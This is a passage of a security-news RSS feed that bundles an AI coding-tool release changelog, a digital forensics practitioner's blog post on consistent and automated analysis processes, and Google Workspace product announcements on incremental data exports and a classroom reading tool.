<li>Fixed the time_spent status-line segment ticking continuously during idle sessions by ensuring it only accumulates active agent execution windows and resets correctly across session switches.</li>
<li>Fixed expanded pending SSH previews committing provisional rows to native scrollback before the final result render.</li>
<li>Fixed ssh:// rejecting POSIX-capable remotes whose login-shell classification was ambiguous by verifying a working transfer shell directly and gating transfers on that capability.</li>
</ul>
<h3>Removed</h3>
<ul>
<li>Removed history URI support for reading agent transcripts</li>
</ul>
<h2>@oh-my-pi/omp-stats</h2>
<h3>Added</h3>
<ul>
<li>Support for parsing named advisor transcripts using the <code>__advisor.&lt;slug&gt;.jsonl</code> naming convention.</li>
</ul>
<h2>@oh-my-pi/pi-tui</h2>
<h3>Added</h3>
<ul>
<li>Added a desktop notification fallback for Linux terminals using D-Bus (via notify-send or gdbus), enabling completion and prompt notifications in VTE-family terminals (such as GNOME Terminal, Ptyxis, Tilix), Alacritty, and xterm. This is automatically skipped for terminals with native notification support (like VS Code and Warp) and can be disabled using the PI_NO_DESKTOP_NOTIFY=1 environment variable.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed slash skill autocomplete not opening when there is existing prompt text, ensuring mid-prompt slash lookups correctly display and insert skill commands.</li>
<li>Fixed modified Enter and keyboard shortcuts in fullscreen overlays for terminals using the xterm modifyOtherKeys fallback (such as iTerm2 when Kitty keyboard negotiation is unavailable).</li>
</ul>
<h2>@oh-my-pi/pi-utils</h2>
<h3>Added</h3>
<ul>
<li>Added <code>escapeXmlAttribute</code> utility function for safe XML attribute value encoding.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed a crash in <code>ptree.ChildProcess.bytes()</code> and the <code>ssh://</code> read path when handling large subprocess outputs (over 128 KB) under Bun by ensuring it consistently returns a <code>Uint8Array</code>.</li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>fix(tui): open mid-prompt skill autocomplete by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4758447888" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3657" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3657/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3657">#3657</a></li>
<li>fix(tui): preserve in-flight assistant turn across /shake rebuilds by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4758461749" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3658" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3658/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3658">#3658</a></li>
<li>fix(compaction): fall back from auto-snapcompact on text-only models by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4758585650" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3661" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3661/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3661">#3661</a></li>
<li>fix(autoresearch): guard before_agent_start against undefined event.systemPrompt by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4758968334" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3667" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3667/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3667">#3667</a></li>
<li>fix(export): use browser-safe single-key toggles in HTML export by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4759249175" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3671" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3671/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3671">#3671</a></li>
<li>fix(tui): allow thinking toggle after streamed reasoning by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4759250805" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3672" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3672/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3672">#3672</a></li>
<li>fix(ai): ignore non-canonical codex baseUrl for wham/usage by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4759849380" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3682" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3682/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3682">#3682</a></li>
<li>fix(extensions): isolate codex hook scripts so process.exit cannot kill OMP startup by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4759861840" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3683" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3683/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3683">#3683</a></li>
<li>fix(tui): track active processing time for time_spent status segment by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4759892075" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3684" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3684/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3684">#3684</a></li>
<li>fix(tui): use OSC 9 notifications for VTE terminals by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4760151561" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3687" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3687/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3687">#3687</a></li>
<li>fix(coding-agent): present user skill prompts as user turns by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761058923" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3699" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3699/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3699">#3699</a></li>
<li>fix(coding-agent): preserve queued skill invocations by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761070999" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3700" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3700/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3700">#3700</a></li>
<li>fix(tui): keep Shift+Enter enhanced in iTerm fallback overlays by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761297085" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3706" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3706/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3706">#3706</a></li>
<li>fix(coding-agent): keep Alt+M default role selectable over context by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761410375" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3709" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3709/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3709">#3709</a></li>
<li>fix(mcp): support legacy SSE transport by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761507119" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3711" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3711/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3711">#3711</a></li>
<li>fix(utils): normalize ptree.bytes() to Uint8Array by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761865940" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3713" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3713/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3713">#3713</a></li>
<li>fix(ssh): pinned expanded pending preview commit-unstable by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761959232" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3716" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3716/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3716">#3716</a></li>
<li>fix(ssh): gate ssh:// transfers on verified POSIX shell capability by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4762116112" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3722" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3722/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3722">#3722</a></li>
<li>fix(providers): keep runtime headers live by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4762468882" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3726" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3726/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3726">#3726</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/can1357/oh-my-pi/compare/v16.2.2...v16.2.3"><tt>v16.2.2...v16.2.3</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Consistency]]></title>
<description><![CDATA[I've worked a lot of places over the years, all for varying lengths of time. While this worked against me in the early days, with potential employers wondering why I didn't stay longer at my previous employer, and wondering how long I'd potentially stay with them, this became less of an issue lat...]]></description>
<link>https://tsecurity.de/de/3629638/windows-tipps/consistency/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3629638/windows-tipps/consistency/</guid>
<pubDate>Sat, 27 Jun 2026 15:11:29 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>I've worked a lot of places over the years, all for varying lengths of time. While this worked against me in the early days, with potential employers wondering why I didn't stay longer at my previous employer, and wondering how long I'd potentially stay with them, this became less of an issue later in my career. </p><p>During my career in the private sector, I've run vulnerability assessments, and spent over 26 yrs in digital forensics and incident response, some in FTE roles, and much more in consultant roles. </p><p>In 2006, I started in a DFIR consulting role at ISS, which evolved 6 months later when the company purchase by IBM was completed. I then became a "plank owner" of the IBM ISS X-Force ERS team, one of the original members of the team, even before we expanded. When I started, I was provided with a complete outfitting of equipment, including (but not limited to) write-blockers, cabling, laptops, and dongles for EnCase 4.22, EnCase 6.19, and FTK. As our team grew in size, everyone received similar (albeit updated, in some cases) equipment. When I started at ISS, I was one of 4 responders, and we each did our own thing when it came to analysis. There was little in the way of cross-pollination, sharing of experiences, etc. As the new team began to grow, it was a bit before some of us saw the need for consistency across the team.</p><p>In 2007, members of our team became certified to conduct PCI forensic investigations, which were subject to very stringent (and somewhat arbitrary) timelines. As part of this, <a href="https://www.linkedin.com/in/christopher-pogue-msis-6148441/">Chris</a> and I developed a process that we shared with all of the team members, using EnCase to conduct all of the searches required by Visa (driving the whole PCI effort at the time), not just the mandatory the credit card number searches. The idea was, in part, to remove the need for individual analysts to have to try to figure out what to do, by giving them a common, documented step-by-step process for completing all of the required activities in a consistent manner. This way, if issues arose, they were easier to troubleshoot. More importantly, having a consistent process meant that there was less room for guesswork, and we had confidence that as long as the process was followed, we'd be able to meet our obligations regarding timeliness. This also left more time for analysts to uncover things like initial access, and other pertinent information, because the guesswork of "what to do next" in order to meet Visa's requirements was no longer something analysts needed to concern themselves with.</p><p>In 2013, I started at &lt;company&gt;, on a team that was already well-established. This team was responsible for developing and actively employing the EDR technology used by the company, and this was used to drastically reduce the scoping of "targeted threat actor" incidents, at which point, triage or full forensics of specific systems could take place. For example, one incident involved 15,000 endpoints in a global infrastructure, and we found that the threat actor had "touched" 8 of the systems, and "been on" only 2. Few members of the team, at the time, had actual hands-on experience with truly in-depth DF work, and there was very little in the way of sharing of tools, techniques, and processes between analysts. There was no documentation, little cross-pollination, and some issues with consistency in the use of the analysis framework. Every now and then, someone might share a tidbit here and there, but different analysts had different ways of using the framework. For example, one analyst might tag something they hadn't seen before as "unknown", where another would tag it as definitely "malicious", with the thought of going back and researching those items a bit more...and often, they didn't. They remained marked the way they were, so when those same indicators showed up on another engagement for another analyst, it was pretty much guaranteed that you'd see a mix of "unknown", "malicious", and "benign" from previous engagements.</p><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1qDMv1yivk28XrmjvxpTlULjK77T7FOfPPSWVnWb3CZo0LEfrPOE31KpBpH1maP1nmpRlW0JIpOFeG3ggZFImarYhl_PC6rKXqTdUKI4qTBR8JjAT3Xo3-pWCbtfQ7hhqqbEy2FWk8PE3jggE2CW3hQMbhjizRW-9Da2DJp91FgIYdhtaWQ/s450/consistency.jpg" imageanchor="1"><img border="0" data-original-height="264" data-original-width="450" height="188" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1qDMv1yivk28XrmjvxpTlULjK77T7FOfPPSWVnWb3CZo0LEfrPOE31KpBpH1maP1nmpRlW0JIpOFeG3ggZFImarYhl_PC6rKXqTdUKI4qTBR8JjAT3Xo3-pWCbtfQ7hhqqbEy2FWk8PE3jggE2CW3hQMbhjizRW-9Da2DJp91FgIYdhtaWQ/s320/consistency.jpg" width="320"></a></div>In 2020, I started at a DF/IR consulting company, and spent my first week on-boarding at headquarters. During that time, I made an effort to start engaging with DF analysts, in part to see what tools they were using, and how they were using them. What I found was that almost all of the analysts had at least 4 dongles/licenses to commercial products, and in some cases, a total of 5 (or more). And every analyst had their own way of doing things; one analyst described what they did as an "art". I sat with one analyst as they walked me through how they used one of tools, selecting various artifacts to be parsed. They'd been doing this for some time now, and for every case, they'd go in and manually select each item, from memory. We spent a few minutes working on it together, and we found that the application had a way for analysts to have a set of items be selected every time, in a profile. <p></p><p>Unfortunately, I returned home at the end of that first week, just as the pandemic lockdown was kicking off, and just shy of three months into my tenure, I (and others) were laid off. It took time, but I found an amazing role as the director of the internal SOC for a large consulting company, one that had three levels of SOC analyst. The highest, L3, were responsible for deeper forensic analysis of incidents that had been escalated up by the prior two levels. During my time there, while there were some tools discussed, what became clear to me was that each of the analysts had their own way of doing things, and there was very little in way of documentation (case notes, etc.) or cross-pollination, and there was limited effort to develop a "best practices" approach to analysis, or just something that was employed consistently across the team. As a result, when a "finding" was added to a ticket or report, there was no clear understanding as to how that finding was developed, and when the "how" was dug into, often the results would be different depending upon the analyst. </p><p>I had seen time and again in the tickets that analysts were collecting active memory from reported endpoints, and running <i>strings</i> on the memory dump in an effort to locate indications of the use of IP addresses. I wrote up a message to the team, describing why this was an incorrect approach, and that what was expected is that they'd use <a href="https://github.com/volatilityfoundation/volatility">Volatility</a> and <a href="https://github.com/simsong/bulk_extractor">bulk_extractor</a> to get the necessary information. I also provided a technical description as to <i>why</i> they needed to do this, and why they needed to use both methods. </p><p>What's common across both organizations and time is that without some modicum of consistency in processes, what you're left with is an inefficient, error-prone mess that, thankfully, cannot be replicated. Regardless of whether it's DF or SOC work, if everyone has their own way of doing things, and there's no common, consistent processes, and no way to develop and operationalize corporate/institutional knowledge across the entire analyst base, then engagement or ticket completion times will vary, accuracy will vary and be difficult to assess, some analysts will spend a great deal of time chasing down rabbit holes, and other analysts will move very quickly to incorrect answers and findings. In some cases, you'll notice that analysts will spackle over gaps in analysis with guesses and assumption.<br></p><p>The other thing you'll notice about these organizations, and ones like them, is that the less consistency there is, there's also little to no oversight. That is, there's no one monitoring output, no one doing "QA" or "QC". For many customer organizations, this means that what they receive is also going to be inconsistent, and the overall strategic issues, the things that could really protect them, will be missed.</p><p>Having consistency and developing processes isn't about restricting what analysts can do. Rather, it's about taking those aspects of analysis that appear regularly, finding the "best" way of conducting the parsing, and then, if possible, automating not just the parsing, but also the enrichment and decoration of that data. After all, these are things you're going to do anyway, right? If you find an IP address, you're going to look it up on some platform, such as VirusTotal, so why not automate it? Why not use CPU cycles to parse out Windows Event Logs, extract IP addresses from login (and other) events, do some form of look-up, and then tag that entry in some way with what you find. Doing all of this automatically doesn't take anything away from an analyst, other than a great deal of very manual work, and provides them with additional time to focus on actual analysis.</p><p><i>Next Steps</i><br>So here's what you do...write down the steps you take. Make it repeatable. Make it so that 6 months from now, you or someone else can follow the same steps on the same data and get the same results. Repeatability leads to consistency, and if it's written down, you don't forget steps. You don't forget to collect Prefetch files because the last 6 systems you looked at were servers and didn't have Prefetch files. You don't forget to parse the AmCache.hve file. </p><p>Once you've written it down, you have some place to start. Now, notice that I said, "write it down", but <i>not</i> that it's written in stone, <i>not</i> that it's immutable. You have a baseline now, and you can deviate from it, in part by adding justification for that deviation to your process. It's easy..."I collected and parsed the PCA files because this was the first Windows 11 system I'd seen in X months." Boom. Done.</p><p>With it written down, how much can you automate? If you mount the acquired image, or put the triage data in a specific folder structure, is this something you can easily do every time? Yes? Okay, so then, can you automate your parsing process? If the data is in the same location every time, can you automate the process so that a single command or button press can get everything parsed?</p><p>At one point in my career, I'd thought that having a lab intake process was the way to go...acquired images, laptops, or just hard drives could be sent to the lab, where the intake technician would take care of connecting the device/data, running through the parsing, extraction, enrichment and decoration process, and then inform the analyst when the results were ready. At that point, the analyst would have access to the parsed data, as well as the original "evidence", if needed. But they wouldn't have to do the processing themselves, and there wouldn't be a bunch of missed steps, and gaps in the reporting.</p><p>Let's assume that the automation is complete, to some extent. It doesn't have to be fancy, and it doesn't have to be everything at this point. Now that we've got stuff written down, we have something we can build on, that we can add to and extend. Now only can we add other data sources, but we can add things like enrichment and decoration, from external sources or from previous incidents. Now that we've got some modicum of automation, a lot of the manually-intensive "heavy lifting" is now being done by the computer. Now we have a more efficient, less error-prone process that frees up a LOT of time for things like actual analysis, lessons learned development, and baking those things we learn back into the process. </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Streamline your data backups with incremental exports for Google Workspace]]></title>
<description><![CDATA[Google Workspace administrators can now utilize incremental exports when backing up organizational data. Instead of re-exporting their entire organization's data, admins can export frequent snapshots of their data into their organization’s own Google Cloud Storage (GCS) bucket.Key benefits includ...]]></description>
<link>https://tsecurity.de/de/3627991/web-tipps/streamline-your-data-backups-with-incremental-exports-for-google-workspace/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3627991/web-tipps/streamline-your-data-backups-with-incremental-exports-for-google-workspace/</guid>
<pubDate>Fri, 26 Jun 2026 18:12:24 +0200</pubDate>
<category>Web Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Google Workspace administrators can now utilize incremental exports when backing up organizational data. Instead of re-exporting their entire organization's data, admins can export frequent snapshots of their data into their organization’s own <a href="https://cloud.google.com/storage/docs/buckets" target="_blank">Google Cloud Storage (GCS) bucket</a>.<div><br></div><div>Key benefits include faster completion times, reduced Google Cloud Storage consumption and costs, and the ability to establish more frequent backup schedules to mitigate the risk of potential data loss. </div><div><br></div><div>Specifically, admins can schedule automated exports for <b>Gmail, Drive, and Chat</b>, with the flexibility to scope data by <b>organizational unit (OU), group, or specific users</b>. They can initiate:</div><div><br></div><div><ul><li>Periodic full backups - establishing a baseline snapshot through regular full exports</li><ul><li>Quarterly (every 3 months)</li><li>Semi-annually (every 6 months)</li><li>Annually (every year)</li></ul></ul></div><div><ul><li>Frequent incremental backups - supplementing the baseline with frequent incremental backups, such as backing up data from the "last x days" every "y days"</li><ul><li>Capture data from the last 5 days, running every 3 days</li><li>Capture data from the last 7 days, running every 5 days</li></ul></ul><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container"><tbody><tr><td><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhg2yfsbVCUG598Udv2pq8rd39eLjocnHD-OxXyhuyXtzOrB7HXTnEyqNsOl-ECulubijb3LAZrgt3pScCt2rJkTa9oFvBa5DCtJHK3MWX0ZGmA2HJeVWrGL0FZTeQ6A6DMBvHmosdeIFF1plsiqQI2ShGzHm5euA4YcU1aJ29HO4mo3jAyzkUgtJa8ZgI/s1054/Streamline%20your%20data%20backups%20with%20incremental%20exports%20for%20Google%20Workspace%20-%206604%20-%201.png"><img border="0" data-original-height="630" data-original-width="1054" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhg2yfsbVCUG598Udv2pq8rd39eLjocnHD-OxXyhuyXtzOrB7HXTnEyqNsOl-ECulubijb3LAZrgt3pScCt2rJkTa9oFvBa5DCtJHK3MWX0ZGmA2HJeVWrGL0FZTeQ6A6DMBvHmosdeIFF1plsiqQI2ShGzHm5euA4YcU1aJ29HO4mo3jAyzkUgtJa8ZgI/s16000/Streamline%20your%20data%20backups%20with%20incremental%20exports%20for%20Google%20Workspace%20-%206604%20-%201.png"></a></td></tr><tr><td class="tr-caption"><br></td></tr></tbody></table><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container"><tbody><tr><td><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivsbp1i6rZqqHUFCn-D1UBTiM-io11BNOXfmMKDMr1RkbgvspYtFDUqlLH4bjBco7RgybsRo_bKVEOmMnQZ87E4uGxBea6p5ky0VUwr3GyfuXTKT-Nrhed0-jcC32moGNrL8kpIu7qYzZBDNB4N5B-OhPkkotJIIBd6gUvHJo1Ow8e7URD7H7n3MFhFOc/s1060/Streamline%20your%20data%20backups%20with%20incremental%20exports%20for%20Google%20Workspace%20-%206604%20-%202.png"><img border="0" data-original-height="944" data-original-width="1060" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivsbp1i6rZqqHUFCn-D1UBTiM-io11BNOXfmMKDMr1RkbgvspYtFDUqlLH4bjBco7RgybsRo_bKVEOmMnQZ87E4uGxBea6p5ky0VUwr3GyfuXTKT-Nrhed0-jcC32moGNrL8kpIu7qYzZBDNB4N5B-OhPkkotJIIBd6gUvHJo1Ow8e7URD7H7n3MFhFOc/s16000/Streamline%20your%20data%20backups%20with%20incremental%20exports%20for%20Google%20Workspace%20-%206604%20-%202.png"></a></td></tr><tr><td class="tr-caption"><br></td></tr></tbody></table></div><h3>Getting started</h3><div><ul><li><b>Admins: Super Admins:</b> Visit the Help Center to learn more about <a href="https://support.google.com/a/answer/100458" target="_blank">exporting your organization’s data</a> and <a href="https://knowledge.workspace.google.com/p/incremental-data-export" target="_blank">incremental exports</a>.</li><li><b>End users:</b> There is no end user impact or action required.</li></ul></div><h3>Rollout pace</h3><div><ul><li><a href="https://support.google.com/a/answer/172177" target="_blank">Rapid Release and Scheduled Release domains:</a> Extended rollout (potentially longer than 15 days for feature visibility) starting on June 24, 2026</li></ul></div><h3>Availability</h3><div><ul><li><b>Enterprise: </b>Enterprise Plus customers with <a href="https://support.google.com/a/answer/13880647" target="_blank">Assured Controls and Assured Controls Plus</a></li></ul></div><h3>Resources</h3><div><ul><li>Google Workspace Admin Help: <a href="https://knowledge.workspace.google.com/p/incremental-data-export" target="_blank">Set up an incremental data export</a></li><li>Google Workspace Admin Help: <a href="https://knowledge.workspace.google.com/admin/migrate/export-all-your-organizations-data" target="_blank">Export all your organization's data</a></li></ul></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why Amazon Dropped Its OpenAI Movie, Data Center Workers Fight Back, and Meta Leaks Employee Data]]></title>
<description><![CDATA[Amazon-owned MGM Studios’ decision to drop the OpenAI movie is just part of AI and film industries becoming increasingly intertwined. On Uncanny Valley, we take a look at where this is all headed.]]></description>
<link>https://tsecurity.de/de/3626026/it-nachrichten/why-amazon-dropped-its-openai-movie-data-center-workers-fight-back-and-meta-leaks-employee-data/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3626026/it-nachrichten/why-amazon-dropped-its-openai-movie-data-center-workers-fight-back-and-meta-leaks-employee-data/</guid>
<pubDate>Fri, 26 Jun 2026 01:17:33 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Amazon-owned MGM Studios’ decision to drop the OpenAI movie is just part of AI and film industries becoming increasingly intertwined. On Uncanny Valley, we take a look at where this is all headed.]]></content:encoded>
</item>
<item>
<title><![CDATA[Read Along in Google Classroom is now available to all education users to support foundational literacy]]></title>
<description><![CDATA[Read Along in Google Classroom, an AI-powered literacy tool that provides in-the-moment support to students as they read aloud,  is now available to all Google Workspace for Education users at no cost. We believe this will open access to literacy tools for millions of students, and help educators...]]></description>
<link>https://tsecurity.de/de/3625460/web-tipps/read-along-in-google-classroom-is-now-available-to-all-education-users-to-support-foundational-literacy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3625460/web-tipps/read-along-in-google-classroom-is-now-available-to-all-education-users-to-support-foundational-literacy/</guid>
<pubDate>Thu, 25 Jun 2026 19:28:15 +0200</pubDate>
<category>Web Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Read Along in Google Classroom, an AI-powered literacy tool that provides in-the-moment support to students as they read aloud,  is now available to all Google Workspace for Education users at no cost. We believe this will open access to literacy tools for millions of students, and help educators and education leaders achieve better learning outcomes and progress on foundational literacy.<div><br></div><div>Read Along is designed to build students' speaking, listening, and decoding skills. It offers flexible learning modes, allowing students to practice aloud with real-time feedback, listen to stories, or enjoy books independently. To help emerging students transition from simply "learning to read" to "reading to learn," Read Along includes questions directly in the material to continuously strengthen comprehension as well as decoding support through word-breakdown.</div><div><br></div><div>Educators can use Read Along in Google Classroom to provide personalized reading practice for every student. The insights dashboard showing individual student and class-wide progress can help inform instruction and make it easier to create tailored reading activities based on student needs.</div><div><br></div><div><b>With this update, all Google Workspace for Education users will have access to:</b></div><div><br></div><div><ul><li><b>A tailored reading experience in Google Classroom: </b>Educators can easily create interactive reading activities right <a href="https://support.google.com/edu/classroom/answer/14174515?hl=en-GB" target="_blank">within Classroom</a>, giving students in-the-moment support while getting actionable insights related to their reading skills.</li><li><b>Real-time reading support: </b>Learners get help with pronunciation as they read aloud and get word breakdown support.</li><li><b>Class and student insights to inform instruction: </b> View information on accuracy, speed, comprehension, phonics skills, and progress for individual students and the entire class.</li><li><b>An extensive content library:</b> Choose from over hundreds of books across eight languages: English, Spanish, Portuguese, Urdu, Arabic, Thai, Indonesian, and Malay. This includes content such as Heggerty decodables, ReadWorks articles for 